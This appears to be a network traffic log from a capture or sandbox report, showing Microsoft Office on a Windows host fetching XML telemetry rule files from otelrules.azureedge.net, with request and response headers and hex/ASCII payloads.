2024-11-20 02:21:50 UTC	191	OUT	GET /rules/rule90401v3s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:50 UTC	495	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:50 GMT Content-Type: text/xml Content-Length: 1250 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE4487AA" x-ms-request-id: c5daffda-c01e-0046-24f2-3a2db9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022150Z-r1d97b9957789g82hC1TEBstx0000000082g00000000kvb4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-20 02:21:50 UTC	1250	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 39 30 34 30 31 22 20 56 3d 22 33 22 20 44 43 3d 22 45 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 53 61 6d 70 6c 69 6e 67 50 6f 6c 69 63 79 22 20 41 54 54 3d 22 66 39 39 38 63 63 35 62 61 34 64 34 34 38 64 36 61 31 65 38 65 39 31 33 66 66 31 38 62 65 39 34 2d 64 64 31 32 32 65 30 61 2d 66 63 66 38 2d 34 64 63 35 2d 39 64 62 62 2d 36 61 66 61 63 35 33 32 35 31 38 33 2d 37 34 30 35 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 20 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 4d 65 74 61 64 61 74 61 22 20 2f 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="90401" V="3" DC="ESM" EN="Office.Telemetry.SamplingPolicy" ATT="f998cc5ba4d448d6a1e8e913ff18be94-dd122e0a-fcf8-4dc5-9dbb-6afac5325183-7405" DL="A" DCa="PSP PSU" xmlns=""> <RIS> <RI N="Metadata" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
102	192.168.2.8	49915	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:51 UTC	192	OUT	GET /rules/rule700201v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:51 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:51 GMT Content-Type: text/xml Content-Length: 1393 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:50 GMT ETag: "0x8DC582BE39DFC9B" x-ms-request-id: 96e0b134-501e-0035-148c-3ac923000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022151Z-r1d97b99577hc74hhC1TEBvbns000000080000000000gey5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:51 UTC	1393	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700201" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord"

Session ID	Source IP	Source Port	Destination IP	Destination Port
103	192.168.2.8	49916	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:51 UTC	192	OUT	GET /rules/rule700200v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:51 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:51 GMT Content-Type: text/xml Content-Length: 1356 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:43 GMT ETag: "0x8DC582BDF66E42D" x-ms-request-id: 297afce4-701e-0053-438c-3a3a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022151Z-185f5d8b95cqnkdjhC1NYCm8w800000009g0000000007yrd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:51 UTC	1356	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 32 30 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 57 6f 72 64 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 57 6f 72 64 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700200" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Word" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenWord" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
104	192.168.2.8	49917	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:51 UTC	192	OUT	GET /rules/rule702351v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:51 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:51 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE017CAD3" x-ms-request-id: e045c2d1-201e-003c-718c-3a30f9000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022151Z-185f5d8b95ctl8xlhC1NYCn94g00000009sg000000002089 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 02:21:51 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702351" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoic

Session ID	Source IP	Source Port	Destination IP	Destination Port
105	192.168.2.8	49918	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:51 UTC	192	OUT	GET /rules/rule702350v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:51 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:51 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:54 GMT ETag: "0x8DC582BE6431446" x-ms-request-id: 87533e62-501e-008f-028c-3a9054000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022151Z-185f5d8b95cmd8vfhC1NYC0g4000000005e000000000knm2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:51 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 33 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 6f 69 63 65 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 6f 69 63 65 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702350" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Voice" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVoice" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
106	192.168.2.8	49919	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:51 UTC	192	OUT	GET /rules/rule701251v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:51 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:51 GMT Content-Type: text/xml Content-Length: 1395 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:41 GMT ETag: "0x8DC582BDE12A98D" x-ms-request-id: 96190df9-401e-0016-6a8c-3a53e0000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022151Z-1777c6cb7549j9hhhC1TEBzmcc00000008z0000000002e41 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:51 UTC	1395	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701251" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisi

Session ID	Source IP	Source Port	Destination IP	Destination Port
107	192.168.2.8	49920	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:51 UTC	192	OUT	GET /rules/rule701250v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:51 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:51 GMT Content-Type: text/xml Content-Length: 1358 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:44 GMT ETag: "0x8DC582BE022ECC5" x-ms-request-id: 07391e4c-a01e-0032-018c-3a1949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022151Z-185f5d8b95c4hl5whC1NYCeex000000009m0000000003t1c x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:51 UTC	1358	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 31 32 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 56 69 73 69 6f 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 56 69 73 69 6f 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="701250" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Visio" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenVisio" S="Medium" /> <F T="2">

Session ID	Source IP	Source Port	Destination IP	Destination Port
108	192.168.2.8	49921	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:51 UTC	192	OUT	GET /rules/rule700051v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:51 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:51 GMT Content-Type: text/xml Content-Length: 1389 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE10A6BC1" x-ms-request-id: c363d3e9-d01e-0028-158c-3a7896000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022151Z-185f5d8b95ckwnflhC1NYCx9qs00000009r00000000072yh x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:51 UTC	1389	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700051" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="

Session ID	Source IP	Source Port	Destination IP	Destination Port
109	192.168.2.8	49923	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:51 UTC	192	OUT	GET /rules/rule702951v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:51 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:51 GMT Content-Type: text/xml Content-Length: 1405 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:46 GMT ETag: "0x8DC582BE12B5C71" x-ms-request-id: f909e935-c01e-0049-358c-3aac27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022151Z-1777c6cb754xlpjshC1TEBv8cc00000009500000000052d7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:51 UTC	1405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 31 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 2e 43 72 69 74 69 63 61 6c 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702951" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator.Critical" SP="CriticalBusinessImpact" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantToke

Session ID	Source IP	Source Port	Destination IP	Destination Port
110	192.168.2.8	49922	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:51 UTC	192	OUT	GET /rules/rule700050v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:52 UTC	515	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:51 GMT Content-Type: text/xml Content-Length: 1352 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:28:01 GMT ETag: "0x8DC582BE9DEEE28" x-ms-request-id: 2767d90f-601e-005c-618c-3af06f000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022151Z-185f5d8b95cp7lkfhC1NYC7rpw00000009mg00000000w7fq x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-20 02:21:52 UTC	1352	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 30 30 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 55 58 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 55 58 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="700050" V="1" DC="SM" EN="Office.Telemetry.Event.Office.UX" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenUX" S="Medium" /> <F T="2"> <O T

Session ID	Source IP	Source Port	Destination IP	Destination Port
111	192.168.2.8	49924	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:51 UTC	192	OUT	GET /rules/rule702950v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:52 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:52 GMT Content-Type: text/xml Content-Length: 1368 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:40 GMT ETag: "0x8DC582BDDC22447" x-ms-request-id: df1e4bb0-c01e-0034-6f8a-3a2af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022152Z-r1d97b99577d6qrbhC1TEBux5s00000008dg000000003f56 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-20 02:21:52 UTC	1368	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 37 30 32 39 35 30 22 20 56 3d 22 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 54 65 6c 65 6d 65 74 72 79 2e 45 76 65 6e 74 2e 4f 66 66 69 63 65 2e 54 72 61 6e 73 6c 61 74 6f 72 22 20 44 4c 3d 22 41 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 52 49 53 3e 0d 0a 20 20 20 20 3c 52 49 20 4e 3d 22 45 76 65 6e 74 22 20 2f 3e 0d 0a 20 20 3c 2f 52 49 53 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 55 43 53 53 20 54 3d 22 31 22 20 43 3d 22 4e 65 78 75 73 54 65 6e 61 6e 74 54 6f 6b 65 6e 54 72 61 6e 73 6c 61 74 6f 72 22 20 53 3d 22 4d 65 64 69 75 6d 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="702950" V="1" DC="SM" EN="Office.Telemetry.Event.Office.Translator" DL="A" xmlns=""> <RIS> <RI N="Event" /> </RIS> <S> <UCSS T="1" C="NexusTenantTokenTranslator" S="Medium" /> <F T=

Session ID	Source IP	Source Port	Destination IP	Destination Port
112	192.168.2.8	49925	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-20 02:21:52 UTC	192	OUT	GET /rules/rule701151v1s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-20 02:21:52 UTC	494	IN	HTTP/1.1 200 OK Date: Wed, 20 Nov 2024 02:21:52 GMT Content-Type: text/xml Content-Length: 1401 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:45 GMT ETag: "0x8DC582BE055B528" x-ms-request-id: 07391f24-a01e-0032-508c-3a1949000000 x-ms-version: 2018-03-28 x-azure-ref: 20241120T022152Z-185f5d8b95cx9g8lhC1NYCtgvc00000001w000000000tcse x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
